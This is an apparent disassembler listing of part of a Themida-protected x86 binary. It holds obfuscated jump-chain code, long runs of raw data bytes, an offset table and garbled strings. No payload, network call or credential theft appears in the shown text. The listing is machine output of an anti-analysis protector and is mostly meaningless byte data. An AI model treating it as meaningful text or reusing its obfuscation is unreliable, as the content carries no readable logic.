		dd 0EEC4C381h, 0D801F5EFh, 0FF930DE9h, 0B9055FFFh, 1199233h
		dd 33B92DD0h, 37E91992h, 0D2FFFF65h, 0E99C2424h, 0FFFF47E1h
		dd 6688F681h, 0F0015F32h, 0C2015A5Eh, 582434FFh, 0E904C483h
		dd 0FFFF47C9h, 83241C8Bh, 0C58304C4h, 242C8704h, 8B24248Bh
		dd 0E9522404h, 0FFFFD898h, 0B636E95Fh, 148BFFFFh, 8708E924h
		dd 8357FFFFh, 0B9E904ECh, 87FFFF88h, 248B241Ch,	241C8924h
		dd 0C381E389h, 4, 2C381h, 1C330000h, 241C3124h,	8B241C33h
		dd 0F662424h, 0C168C8B6h, 89000060h, 5B54241Ch,	4BA52h
		dd 0D3010000h, 0FFF925E9h, 0CC05ADFFh, 5558BF5Eh, 0A6796EBDh
		dd 8BE82954h, 0C483242Ch
		db 4, 1, 0D8h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xor	ebp, [esp]
		xor	[esp], ebp
		xor	ebp, [esp]
		pop	esp
		mov	[esp], edi
		push	54A6796Eh
		pop	edi
		add	eax, edi
		pop	edi
		push	edx
		mov	edx, 58BF5ECCh
		add	eax, 130301C4h
		sub	eax, edx
		jmp	loc_54ADBA
; ---------------------------------------------------------------------------
		db 4Ah
		dd 0DAF7EAD1h, 59E9DAF7h, 1FFFFA7h, 54962DF8h, 835F07E5h
		dd 81E904ECh, 2DFFFF5Ah, 270C1F2Eh, 0FF8D65E9h,	48B66FFh
		dd 7EE95024h, 29FFFF8Ah, 4B9E9D1h, 0E5890000h, 4C581h
		dd 0ED810000h, 4, 0FF9393E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_551F0D:				; CODE XREF: Themida_:005491ECj
		or	eax, eax
		jz	loc_5507D8
		push	dword ptr [edi+1Ch]
		jmp	loc_549BCF
; ---------------------------------------------------------------------------


loc_551F1D:				; CODE XREF: Themida_:00550052j
		pop	esp
		push	eax
		jmp	loc_54D839
; ---------------------------------------------------------------------------
		dd 8B66DD00h, 0C483241Ch, 0FFE82802h, 0E9592434h, 0FFFFE13Eh
		dd 2E7268h, 24348900h, 3DBFBB53h, 68557810h, 31F13A21h
		dd 0FFB585E9h, 0EC8155FFh, 4, 5D243489h, 74FF555Eh, 2C8B0424h
		dd 0AE93E924h, 0E950FFFFh, 0FFFF8679h, 240C8B66h, 0D0E68h
		dd 0FA5AE900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_551F7E:				; CODE XREF: Themida_:0054B679j
		shr	eax, 0Ah
		jmp	loc_550D0D
; ---------------------------------------------------------------------------
		dw 8956h
		dd 4C681E6h, 81000000h,	4C6h, 24348700h, 4055Ch, 52560000h
		dd 0FB6CA6BAh, 75EA8138h, 0E911627Dh, 0FFFFFF13h, 2414895Ch
		dd 339AEBAh, 15E9517Dh,	59FFFF56h, 0B28B850h, 0E8C152F1h
		dd 7E842D03h, 9E2D093Ch, 294DA229h, 0C82958C1h,	0FFAB62E9h
		dd 46A168FFh, 3C890000h, 26824h, 0E95F0000h, 0FFFFF2AAh
; ---------------------------------------------------------------------------


loc_551FF0:				; CODE XREF: Themida_:0054C212j
		or	ecx, 7AFA25DDh
		inc	ecx
		jmp	loc_548C77
; ---------------------------------------------------------------------------
		dd 8924248Bh, 0B2E9242Ch, 87FFFF79h, 0E95C2434h, 0FFFF6947h
		dd 8F242C81h, 0E9434614h, 0FFFF45B9h, 240C8B66h, 0E904EC83h
		dd 0FFFF7BD7h
; ---------------------------------------------------------------------------


loc_552028:				; CODE XREF: Themida_:00549714j
		push	dword ptr [esp]
		pop	eax
		jmp	loc_54CCD4
; ---------------------------------------------------------------------------
		db 5, 4, 0
		dd 0EC830000h, 243C8904h, 5704A6BFh, 5CC78151h,	2DAEA8FBh
		dd 1B136827h, 7106D12Dh, 0E9B0E91Ah, 34FFFFFFh,	0C4815D24h
		dd 4, 52E78957h, 19EBE56h, 0F6814F96h, 4F96019Ah, 0FFB787E9h
		dd 4C181FFh, 83000000h,	0C8704C1h, 24248B24h, 16D668h
		dd 243C8900h, 15685F54h, 0E9000001h, 0FFFFA0C9h, 0B6241489h
		dd 0E9F32833h, 0FFFFEF91h
; ---------------------------------------------------------------------------


loc_5520A4:				; CODE XREF: Themida_:0054C491j
		mov	ecx, [ebx]
		jmp	loc_54A0D1
; ---------------------------------------------------------------------------
		db 54h
		dd 4C2815Ah, 81000000h,	4EAh, 24148700h, 0E924248Bh, 0FFFF8B9Ch
		dd 5304C483h, 0C381E389h, 4, 4C381h, 0D8E90000h, 0BFFFFF61h
		dd 4, 3C8BFB01h, 0E7895724h, 0FF88EFE9h, 36C581FFh, 593C2B74h
		dd 0FFCCE8E9h, 44D7E9FFh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5520FE:				; CODE XREF: Themida_:0054E96Cj
		add	eax, 4
		push	eax
		jmp	loc_54C153
; ---------------------------------------------------------------------------


loc_552109:				; CODE XREF: Themida_:00547FBDj
		mov	[esp], edx
		mov	edx, esp
		add	edx, 4
		push	ebx
		mov	ebx, 4
		jmp	loc_5517E9
; ---------------------------------------------------------------------------


loc_55211F:				; CODE XREF: Themida_:0054F310j
		mov	ebp, 0B112D63h
		jmp	loc_54789B
; ---------------------------------------------------------------------------
		db 1, 0C1h, 58h
		dd 0C8BCA01h, 9D50E924h, 2C31FFFFh, 0D146E924h,	0CB01FFFFh
		dd 559BEB81h, 1592EDEh,	5EEB81FBh, 5F2CBE19h, 8704C383h
		dd 248B241Ch, 2434FF24h, 0BA01E958h, 0C281FFFFh, 58116EE0h
		dd 8106EAC1h, 97F105C2h, 8BD501FEh, 8AE92414h
		db 90h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55217B:				; CODE XREF: Themida_:0054D49Cj
		xor	edx, 49842A2Ah
		push	0
		add	dword ptr [esp], 7CA32DEAh
		sub	[esp], edx
		jmp	loc_549FBA
; ---------------------------------------------------------------------------
		db 81h,	0C2h, 4
		dd 51000000h, 44F3BE56h, 0F1B90376h, 31037644h,	0CA015EF1h
		dd 0FF9EEAE9h, 12CA81FFh, 813E775Dh, 7F5FD7F2h,	0B14CE97Fh
		dd 0E689FFFFh, 4BD5552h, 0E9495B5Dh, 593h
; ---------------------------------------------------------------------------


loc_5521D0:				; CODE XREF: Themida_:0054FAA1j
		xor	esi, edx
		pop	edx
		mov	ebx, esi
		jmp	loc_54F498
; ---------------------------------------------------------------------------
		dw 4EBEh
		dd 197468Ah, 0E5E95EF2h, 87FFFFE6h, 0D35C2434h,	0E99C242Ch
		dd 0FFFF43E1h, 0D588DA88h, 0BB535B5Ah, 0
		dd 0EDE9D301h, 5BFFFFD8h, 2055Dh, 0E0E90000h, 55FFFF92h
		dd 0FFC79CE9h, 48B66FFh, 0E6895624h, 0FF9DACE9h, 0C8E681FFh
		dd 0E9331471h, 0FFFF9E7Ch, 4C581h, 0ED810000h, 4, 5C242C87h
		dd 0FF7D16E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_552245:				; CODE XREF: Themida_:0054DF2Ej
		push	ebx
		push	edi
		mov	edi, 0A85791Eh
		mov	ebx, 0A857922h
		sub	ebx, edi
		pop	edi
		push	ebx
		pop	ecx
		jmp	loc_54B4EB
; ---------------------------------------------------------------------------


loc_55225B:				; CODE XREF: Themida_:0054DFAEj
		xchg	esi, edx
		dec	esi
		xchg	esi, edx
		or	edx, 1D2927B5h
		sub	edx, 4D173EE9h
		shl	edx, 2
		push	esi
		jmp	loc_551D16
; ---------------------------------------------------------------------------
		db 57h,	50h, 0B8h
		dd 0F27BC1D9h, 8DE9C789h, 88FFFFC2h, 4EC81D9h, 89000000h
		dd 8850241Ch, 58E388CCh, 88D98851h, 6248E9CEh, 0C281FFFFh
		dd 4, 4C281h, 14870000h, 24248B24h, 0FF8A7AE9h,	567F68FFh
		dd 4890000h, 4313E924h,	0E958FFFFh, 0FFFF7C38h,	875BDF29h
		dd 0E95C243Ch, 0FFFFF07Dh, 28A8C480h, 2434FFE3h, 0FFC7B1E9h
		dd 243C89FFh, 0FF8C5DE9h, 0CE295DFFh, 24348759h, 8924248Bh
		dd 0EBD242Ch, 0E933FC6Dh, 0FFFFF695h, 0EC815159h, 4, 0B4240489h
		dd 85B15Ch, 24048BE1h, 0E904C483h, 0FFFFEEB5h
; ---------------------------------------------------------------------------


loc_55231C:				; CODE XREF: Themida_:00550102j
		xor	ecx, 0A2F0CCE2h
		push	edi
		mov	edi, 7DD94CB2h
		jmp	loc_547CB7
; ---------------------------------------------------------------------------
		db 81h,	0C2h, 4
		dd 0E9000000h, 0FFFFD840h, 0E924048Bh, 0FFFFE52Fh
; ---------------------------------------------------------------------------


loc_552340:				; CODE XREF: Themida_:0054FA93j
		shl	ebp, 6
		jmp	loc_54E55A
; ---------------------------------------------------------------------------
		dd 0E9C1D1F7h, 6E9C102h, 9182E953h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_552356:				; CODE XREF: Themida_:0054A1D4j
		or	eax, 15FB4CA0h
		jmp	loc_5527FE
; ---------------------------------------------------------------------------


loc_552360:				; CODE XREF: Themida_:005501E0j
		xchg	ebx, [esp]
		pop	esp
		mul	cx
		sub	esp, 4
		mov	[esp], edx
		mov	edx, esp
		add	edx, 4
		sub	edx, 4
		xchg	edx, [esp]
		pop	esp
		jmp	loc_54A48E
; ---------------------------------------------------------------------------
		dd 405h, 24048700h, 4EC835Ch, 0FF818CE9h, 6AD2B8FFh, 0B5E90139h
		dd 0FFFFFFE8h, 2C8B2434h, 4C48124h, 83000000h, 22E904C4h
		dd 5AFFFF42h, 56FFC183h, 0AB8F72BEh, 5EF129E7h,	89CB8953h
		dd 0C8B5BDDh, 4C48324h,	20BE62Dh, 51E80142h, 0FFCD16E9h
		dd 0E9FB01FFh, 0FFFFCE4Bh, 8104C483h, 4ECh, 240C8900h
		dd 2B9h, 8BCE2900h, 0C483240Ch,	9AEBE904h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5523FE:				; CODE XREF: Themida_:0054C48Bj
		mov	ecx, 735C7828h
		mov	edx, ecx
		pop	ecx
		xor	edx, ecx
		jmp	loc_54BD3D
; ---------------------------------------------------------------------------
		db 81h,	0CEh, 55h
		dd 0E936863Ah, 0FFFF8E0Ah, 813C77FFh, 5E1E2404h, 48B513Eh
		dd 4EC8324h, 68241489h,	2B88h, 83242489h, 5A042404h, 4BB53h
		dd 0DA010000h, 0F6E9575Bh, 5FFFF50h, 301E2A8Fh,	2632152Dh
		dd 88E9483Eh, 8BFFFF74h, 7EE9242Ch, 57FFFFE7h, 3A242C81h
		dd 5B27522Ch, 2C3ABE56h, 6EE92752h
		db 0F1h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_552473:				; CODE XREF: Themida_:005469FEj
		pop	edi
		jmp	loc_54D93B
; ---------------------------------------------------------------------------
		db 83h,	0C3h, 4
		dd 31241C33h, 1C33241Ch, 0EE6AE924h, 0E94AFFFFh, 0FFFF4D72h
		dd 4C481h, 0BA520000h, 0DED48F3h, 47F6C381h, 0D3013370h
		dd 8904EC83h, 0B4BF243Ch, 810F2227h, 7B6234CFh,	81E7D134h
		dd 79788EC7h, 8BFB29B4h, 87E9243Ch, 30FFFFB7h, 0DEF658C6h
		dd 0FFC04AE9h, 2434FFFFh, 0FF4B22E9h, 4C581FFh,	83000000h
		dd 2C8704EDh, 0C895C24h, 5DB75324h, 865BFD88h, 0E9D7F6FDh
		dd 0FFFF5491h, 0C128E404h, 80D1F658h, 0E9806DE1h, 8BCA30B9h
		dd 0C481240Ch, 4, 0D0009504h, 0F2E9952Ch, 0C1FFFFBCh, 62E904EAh
		dd 80FFFFA8h, 0C8BAAC6h, 0E7895724h, 4C781h, 0C7810000h
		dd 4, 5C243C87h, 2EC81h, 89660000h, 5CB3241Ch, 5B66D828h
		dd 5C04F000h, 24148B66h, 8102C483h, 4ECh, 241C8900h, 4A8668h
		dd 6D9AE900h, 0C481FFFFh, 4, 5C24048Fh,	6806E9C1h, 500Eh
		dd 0FF8401E9h, 0DFC381FFh, 5566000Dh, 0EF542E68h, 0C5815D19h
		dd 72313CCBh, 0FF7554E9h, 72BB53FFh, 81650863h,	4A3B6AEBh
		dd 0EB814B5Ch, 1, 2CA3CB81h, 0EB8174CCh, 7CFE2CA3h, 2D5B5A53h
		dd 1B0E4A4Bh, 0FBE9D001h, 0BFFFFF97h, 3CC74EF4h, 0E781D7F7h
		dd 3B246A5Ah, 0FFCA5AE9h, 240C87FFh, 243C895Ch,	7D30D8BFh
		dd 0C52BE97Bh, 0C281FFFFh, 38FF6C7Ch, 0EA81DAF7h, 0B859389Bh
		dd 0E95AD301h, 0FFFFC2AEh
; ---------------------------------------------------------------------------


loc_552600:				; CODE XREF: Themida_:00551073j
		mov	ebp, 59751D69h
		push	ecx
		mov	ecx, 3BB4124Fh
		jmp	loc_546BDA
; ---------------------------------------------------------------------------


loc_552610:				; CODE XREF: Themida_:00547FF3j
		push	edi
		jmp	loc_54D97F
; ---------------------------------------------------------------------------
		dw 0A7BBh
		dd 0E952EA04h, 0FFFFA81Eh
; ---------------------------------------------------------------------------


loc_552620:				; CODE XREF: Themida_:00550526j
		pop	dword ptr [esp]
		not	esi
		xchg	esi, [esp]
		pop	ebp
		xchg	ebp, edx
		xchg	edx, [esp]
		mov	eax, [esp]
		sub	esp, 4
		mov	[esp], ebp
		mov	ebp, esp
		push	ebx
		mov	ebx, 32884DD7h
		xor	ebx, 52EB6A64h
		inc	ebx
		shr	ebx, 6
		xor	ebx, 1818C9Ah
		add	ebp, ebx
		pop	ebx
		add	ebp, 4
		xchg	ebp, [esp]
		mov	esp, [esp]
		push	54FBh
		mov	[esp], ebp
		jmp	loc_54C5A7
; ---------------------------------------------------------------------------


loc_552668:				; CODE XREF: Themida_:0054D7DBj
		dec	edx
		add	edx, 84E05B13h
		add	edx, esi
		mov	esi, [esp]
		add	esp, 4
		push	edi
		mov	edi, 1410128Bh
		jmp	loc_54BB53
; ---------------------------------------------------------------------------


loc_552685:				; CODE XREF: Themida_:00547BB8j
		or	eax, 6E2F6008h
		jmp	loc_54CAAE
; ---------------------------------------------------------------------------
		dd offset dword_5BA268
		align 4
		dd 81243C89h, 4ECh, 24248900h, 0FFB8F6E9h, 242C33FFh, 2424D35Ch
		dd 3F23E99Ch, 0C6FEFFFFh, 0B668DEF6h, 8900002Ch, 0BB7241Ch
		dd 8084C780h, 0B0E90FC7h
		db 73h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5526CB:				; CODE XREF: Themida_:0054CA28j
		xor	[esp], ebp
		xor	ebp, [esp]
		mov	esp, [esp]
		jmp	loc_550223
; ---------------------------------------------------------------------------
		db 68h,	61h, 37h
		dd 51585EEEh, 117D3B9h,	0CAE95640h
		db 89h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5526EB:				; CODE XREF: Themida_:0054D6D1j
		pop	edx
		mov	ecx, [esp]
		push	eax
		jmp	loc_546798
; ---------------------------------------------------------------------------


loc_5526F5:				; CODE XREF: Themida_:00549AE8j
		add	esp, 4
		add	esp, 4
		sub	ebx, 2EB10EECh
		sub	ebx, 55965156h
		add	ebx, 0DC109EBh
		sub	ebx, eax
		push	edx
		mov	edx, 686C7511h
		jmp	loc_548BEB
; ---------------------------------------------------------------------------


loc_552720:				; CODE XREF: Themida_:0054D599j
		push	1
		pop	ebx
		and	eax, ebx
		push	dword ptr [esp]
		mov	ebx, [esp]
		add	esp, 4
		push	ecx
		mov	ecx, esp
		jmp	loc_54F850
; ---------------------------------------------------------------------------
		db 68h,	0CCh, 7Ch
		dd 34890000h, 62FDBE24h, 0F7561681h, 575E241Ch,	81E18951h
		dd 4C1h, 4E98100h, 33000000h, 0B6E9240Ch, 0C1FFFFC1h, 0ED8107E5h
		dd 66FC1ADBh, 5526CD81h, 0BA526500h, 984D88DDh,	895AD501h
		dd 242C8BEAh, 4C481h, 0D6010000h, 0FFE50EE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55278D:				; CODE XREF: Themida_:00549C99j
		mov	ebx, 3066523Ch
		xor	ebx, 2CE00F12h
		xor	ebx, 7E6217BFh
		jmp	loc_549393
; ---------------------------------------------------------------------------
		db 87h
		dd 0E9D7F7FBh, 0FFFFB057h, 240C8B66h, 0B8E95457h, 0B6FFFFBBh
		dd 412BE9ACh, 0EA89FFFFh, 9618E95Dh, 77FFFFFFh,	0A894E940h
		dd 0BB53FFFFh, 163611A3h, 0C381D3F7h, 72B945F8h, 8104E3C1h
		dd 0BF53BCEBh, 68EB814Ah, 897D73F1h, 241C8BDAh,	4C481h
		dd 0FA010000h, 0C346E953h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5527FE:				; CODE XREF: Themida_:0055235Bj
		add	eax, 0E23AEF52h
		jmp	loc_54EFB1
; ---------------------------------------------------------------------------
aHt		db '^hT%',0
		align 2
		dw 489h
		dd 48B5424h, 0F184E924h, 0C14DFFFFh, 0F58106EDh, 77843E72h
		dd 0FFEF88E9h, 3DA7E9FFh, 3C87FFFFh, 5C685C24h,	89000002h
		dd 0BAE9241Ch
		db 75h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55283F:				; CODE XREF: Themida_:0054D039j
		add	esp, 4
		jmp	loc_546DCC
; ---------------------------------------------------------------------------
		db 5Dh
		dd 4C181h, 0C870000h, 89535C24h, 6675E9E3h, 0FD68FFFFh
		dd 0E900002Dh, 0FFFF92A8h, 5C5A685Ch, 34890000h, 68E68924h
		dd 6AA5h, 0BB241C89h, 4, 3E9DE01h, 0F7FFFF53h, 4E1C1D9h
		dd 0CB68D1F7h, 8900002Fh, 0E9562404h, 0FFFF7003h, 650CFCBDh
		dd 2E5C157h, 4C03E581h,	0F5810831h, 7E7A7A38h, 2C8BEA29h
		dd 4C48324h, 8106EAC1h,	9170E1C2h, 0A0C2815Bh, 2DC3715Dh
		dd 48854918h, 0FF5C7AE9h, 0E0EE81FFh, 18A1691h,	0C2835EF2h
		dd 24148704h, 0FFE13CE9h, 240487FFh, 0FF7518E9h, 0C7815FFFh
		dd 4, 8704EF83h, 895C243Ch, 4B82404h, 89000000h, 0CB0158C1h
		dd 2C38359h, 31241C33h,	1C33241Ch, 24248B24h, 0FFA979E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_552919:				; CODE XREF: Themida_:0054952Aj
		sub	edi, ecx
		pop	ecx
		push	esi
		push	ecx
		mov	ecx, 4B478F2h
		mov	esi, ecx
		jmp	loc_5493C8
; ---------------------------------------------------------------------------


loc_55292A:				; CODE XREF: Themida_:0054E230j
		mov	ebx, eax
		pop	eax
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		sub	[edi+24h], ebx
		pop	ebx


loc_55293B:				; CODE XREF: Themida_:0054F16Bj
		push	6A68h
		mov	[esp], ebx
		xor	dword ptr [esp], 10D11C09h
		jmp	loc_551128
; ---------------------------------------------------------------------------
		db 66h
		dd 8324048Bh, 2C8904ECh, 68E58924h, 1DA3h, 68241489h, 1F2511B5h
		dd 0FF4754E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55296D:				; CODE XREF: Themida_:0054ACB3j
		add	edi, 4
		jmp	loc_550B4E
; ---------------------------------------------------------------------------
		dd 0AA62A7BEh, 7188E91Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_552982:				; CODE XREF: Themida_:00549CC5j
		mov	[esp], ebx
		mov	ebx, 42061525h
		push	76ABh
		jmp	loc_551BCD
; ---------------------------------------------------------------------------
		dd 0E92434FFh, 0FFFFC117h, 7FFE34CCh, 34CCh, 0FA6FE7C9h
		dd 5AAF70h, 337B08EBh, 5A5A3Dh,	0FFFF9F6Ch, 203h, 2, 1
		dd 3, 0FA6FE7C9h, 5 dup(0)
		dd offset dword_55C358
		dd offset dword_567150
		dd offset byte_556917
		dd offset byte_557415
		dd offset word_55C46A
		dd offset byte_557C2B
		dd offset byte_5656FB
		dd offset word_565EF6
		dd offset word_5655AA
		dd offset byte_555E13
		dd offset byte_558D79
		dd offset byte_55ECD5
		dd offset dword_560F34
		dd offset dword_55D248
		dd offset dword_555194
		dd offset byte_559E35
		dd offset byte_563E7D
		dd offset byte_565767
		dd offset dword_5595AC
		dd offset byte_563AF3
		dd offset byte_559DE9
		dd offset dword_5607C8
		dd offset aFhrys_	; "fhryИз."
		dd offset word_55F616
		dd offset dword_5651BC
		dd offset dword_557E24
		dd offset byte_558C47
		dd offset aNFZh@	; "╜-Д!<zh╦@"
		dd offset dword_55BEF0
		dd offset byte_5582D1
		dd offset byte_562E8F
		dd offset dword_565900
		dd offset dword_5534D8
		dd offset byte_556C1B
		dd offset byte_55ECC1
		dd offset word_56398A
		dd offset word_55C76A
		dd offset dword_5644D0
		dd offset word_559F62
		dd offset dword_55AC9C
		dd offset byte_567007
		dd offset aMsts		; "╛ИTИ"
		dd offset dword_556EC0
		dd offset word_557DEE
		dd offset dword_5530EC
		dd offset byte_554E9B
		dd offset byte_561D57
		dd offset dword_55A4A4
		dd offset dword_554B20
		dd offset byte_56020D
		dd offset byte_55B51F
		dd offset word_55BC0A
		dd offset dword_5568AC
		dd offset dword_553C5C
		dd offset byte_558FC1
		dd offset dword_5632A4
		dd offset byte_564011
		dd offset word_55CFC2
		dd offset byte_5547EB
		dd offset byte_55483B
		dd offset byte_564E97
		dd offset dword_55E194
		dd offset byte_55DAAF
		dd offset word_5629B2
		dd offset byte_56556F
		dd offset byte_561A71
		dd offset byte_56472B
		dd offset byte_5542DD
		dd offset byte_559BAB
		dd offset word_560C86
		dd offset byte_555F03
		dd offset dword_552E0C
		dd offset dword_55CED4
		dd offset byte_564551
		dd offset dword_55D6B8
		dd offset dword_565B48
		dd offset dword_563B5C
		dd offset off_55D447
		dd offset aNsK		; "╜И\x1B┼"
		dd offset word_55EF82
		dd offset byte_564ABF
		dd offset byte_556EFF
		dd offset byte_55C787
		dd offset word_55FB02
		dd offset dword_557140
		dd offset aM0FsSv	; "╛0ьfS╥%,вИ╒'"
		dd offset dword_55EE44
		dd offset byte_55E015
		dd offset word_55B66A
		dd offset byte_55AEE3
		dd offset dword_564910
		dd offset aNbQOtbu	; "╜│фQ,oT│Нъ"
		dd offset dword_560CB0
		dd offset byte_55C725
		dd offset dword_563FC4
		dd offset byte_556A45
		dd offset byte_55F7F1
		dd offset byte_55653B
		dd offset byte_559BA1
		dd offset dword_55AA80
		dd offset byte_566167
		dd offset word_564E26
		dd offset byte_56609D
		dd offset word_565826
		dd offset word_564AF6
		dd offset dword_55BE70
		dd offset dword_55EE5C
		dd offset dword_562DDC
		dd offset byte_555E2F
		dd offset word_566BFA
		dd offset off_55DEBD
		dd offset word_5604DA
		dd offset dword_55C580
		dd offset byte_562EF7
		dd offset dword_55EB90
		dd offset byte_55B441
		dd offset byte_55D711
		dd offset dword_5651DC
		dd offset byte_560A4B
		dd offset byte_55FC73
		dd offset byte_555267
		dd offset dword_559920
		dd offset word_55C1E2
		dd offset aNhI		; "╜hЁI"
		dd offset word_5655EE
		dd offset dword_559EDC
		dd offset word_55C5C2
		dd offset word_561D76
		dd offset dword_553B80
		dd offset dword_56586C
		dd offset byte_559B17
		dd offset word_564192
		dd offset byte_553F8B
		dd offset word_55CA62
		dd offset byte_55D8B7
		dd offset dword_5677FC
		dd offset dword_560620
		dd offset dword_5647A0
		dd offset dword_5551A8
		dd offset word_55350E
		dd offset byte_55C6F1
		dd offset byte_561841
		dd offset byte_55568F
		dd offset dword_554BC0
		dd offset byte_5594B7
		dd offset byte_566E41
		dd offset word_56522A
		dd offset aLSa		; "▀$$ИAъ"
		dd offset word_562DF2
		dd offset dword_559D90
		dd offset byte_55427F
		dd offset word_56245E
		dd offset aUh_f		; "Uh.f"
		dd offset dword_565738
		dd offset byte_566B9D
		dd offset byte_56624F
		dd offset dword_553CC4
		dd offset dword_5631AC
		dd offset byte_558525
		dd offset word_55D626
		dd offset dword_561424
		dd offset word_55F51E
		dd offset word_5584F2
		dd offset dword_55822C
		dd offset word_554972
		dd offset byte_55DB05
		dd offset word_563726
		dd 0E8FC9C60h, 0
		dd 0BBEF815Fh, 8B05E544h, 0D3C781C7h, 3B05E541h, 2752C47h
		dd 478913EBh, 0A7B92Ch,	5EB0000h, 408F4401h, 75C90B49h
		dd 24748BF7h, 3DE8B24h,	1B9F0h,	0C0330000h, 4FB10FF0h
		db 30h,	75h, 0F7h
; ---------------------------------------------------------------------------


loc_552CC3:				; CODE XREF: Themida_:0055413Fj
					; Themida_:00554C8Fj ...
		lodsb
		xor	al, bl
		push	7CE6h
		mov	[esp], ecx
		push	esp
		pop	ecx
		add	ecx, 4
		push	ebp
		jmp	loc_553C81
; ---------------------------------------------------------------------------
		dd 8B5BDE89h, 0C483242Ch, 0A44E904h, 0F3810001h, 8827C3Bh
		dd 4BE95351h
		db 35h,	1, 0
; ---------------------------------------------------------------------------


loc_552CF7:				; CODE XREF: Themida_:005627C9j
		sub	cl, dh
		pop	edx
		sub	bl, cl
		pop	ecx
		jmp	loc_565A3C
; ---------------------------------------------------------------------------
		dw 0C600h
		dd 0B7536658h, 66FE2843h, 16E6805Bh, 8014F680h,	0C680F4CEh
		dd 693E936h, 50660001h,	0C68849B0h, 24048B66h, 2C481h
		dd 0C6800000h, 6573E9FFh, 0C1810000h, 0DB02A859h, 0E959CB09h
		dd 1352Dh, 5A2434FFh, 5410E9h, 0C896600h, 27C4E924h, 81520000h
		dd 60682404h, 8159455Dh, 5D6068E9h, 24148B45h, 5604C483h
		dd 0CE72A568h, 0C1465E5Eh, 0C68108E6h, 761DD303h, 14ADCE9h
		dd 0F9EA8100h, 42681C25h, 27DAEA81h, 79E9F1BFh
		db 92h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_552D93:				; CODE XREF: Themida_:0055ED18j
		sub	eax, 61437F56h
		pop	edx
		mov	esi, [esp]
		add	esp, 4
		sub	eax, edx
		push	ebp
		push	715A7546h
		pop	ebp
		sub	eax, ebp
		pop	ebp
		pop	edx
		sub	esp, 4
		jmp	loc_558B54
; ---------------------------------------------------------------------------
		db 5
aFPIXszsm	db '■чp]┴цXSZИM╧',0
		align 2


loc_552DC6:				; CODE XREF: Themida_:0055FE2Ej
		mov	edx, esi
		jmp	loc_55BF95
; ---------------------------------------------------------------------------


loc_552DCD:				; CODE XREF: Themida_:005650FEj
		mov	edi, 47484E35h
		sub	edi, 61E53515h
		jmp	loc_5607D3
; ---------------------------------------------------------------------------
		db 51h,	2 dup(0B9h)
		dd 0E938FF4Bh, 933Dh, 42B368h, 24148900h, 7A068h, 24148900h
		dd 1B25BF57h, 0FA894661h, 4952E9h, 0E9D92800h, 10C80h
dword_552E0C	dd 0E92434FFh, 6220h, 8B2434FFh, 0C481241Ch, 4,	81E78957h
					; DATA XREF: Themida_:00552AFCo
		dd 4C7h, 4C78300h, 5C243C87h, 6254B951h, 0C1812287h, 0DD789DB0h
		dd 181B6857h, 15F1F74h,	0CB015FFBh, 181BBD55h, 0C3811F74h
		dd 70481E7Fh, 0E955EB29h, 0FEE7h, 0D5CC068h, 243C8B27h
		dd 4C481h, 0E9560000h, 104EFh, 5A5BD829h, 456DE981h, 0C10152B1h
		dd 456DC181h, 835852B1h, 0C8702C1h, 24248B24h, 24048B66h
		dd 143DCE9h, 4F386800h,	14890000h, 0BE685624h, 0E96C6B49h
		dd 85D8h, 58C20159h, 9D25E9h
		db 0
; ---------------------------------------------------------------------------


loc_552EB1:				; CODE XREF: Themida_:00561254j
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		jmp	loc_563D0F
; ---------------------------------------------------------------------------


loc_552EC5:				; CODE XREF: Themida_:0055449Cj
		mov	ebx, [esp]
		add	esp, 4
		jmp	loc_56664B
; ---------------------------------------------------------------------------
		db 0C1h
		dd 0F8E908E8h, 0BE0000E9h, 4, 685EF101h, 3302h,	81243489h
		dd 4ECh, 6071E900h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_552EF6:				; CODE XREF: Themida_:0055303Dj
		pop	eax
		add	edx, ebp
		pop	ebp
		mov	ebx, [esp]
		push	ebx
		push	esp
		pop	ebx
		push	edx
		mov	edx, 4
		add	ebx, edx
		pop	edx
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp


loc_552F10:				; CODE XREF: Themida_:loc_5530ABj
					; Themida_:loc_55CB0Dj
		push	edx
		jmp	loc_55771E
; ---------------------------------------------------------------------------
		dw 0E951h
		dd 12623h, 2434FF5Ch, 12486858h, 4890000h, 61F76824h, 2C890000h
		dd 81E58924h, 4C5h, 4ED8300h, 5C242C87h, 24048F54h, 4EC81h
		dd 2C890000h, 4BD24h, 6C010000h, 9DE90424h, 54000046h
		dd 76BF5759h, 8115101Bh, 101B72F7h, 0BA525515h,	2F9C4DCDh
		dd 4D5AD589h, 8843E951h, 0EC810000h, 4,	0E9243C89h, 0A756h
		dd 4EE81h, 34870000h, 81E95C24h, 0E9000105h, 0FFFFFD27h
		dd 4EE815Bh, 87000000h,	0B0E92434h
		db 73h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_552FAB:				; CODE XREF: Themida_:00561C9Fj
		pop	ecx
		add	esp, 4
		pop	dword ptr [esp]
		mov	esp, [esp]
		jmp	loc_55D42A
; ---------------------------------------------------------------------------


loc_552FBD:				; CODE XREF: Themida_:005636A4j
		sub	eax, 298A0F24h
		add	edi, eax
		pop	eax
		dec	edi
		jmp	loc_559B03
; ---------------------------------------------------------------------------


loc_552FCB:				; CODE XREF: Themida_:0055E5F4j
		push	ebx
		mov	bh, 9Eh
		neg	bh
		and	bh, 11h
		and	bh, 41h
		xor	bh, 13h
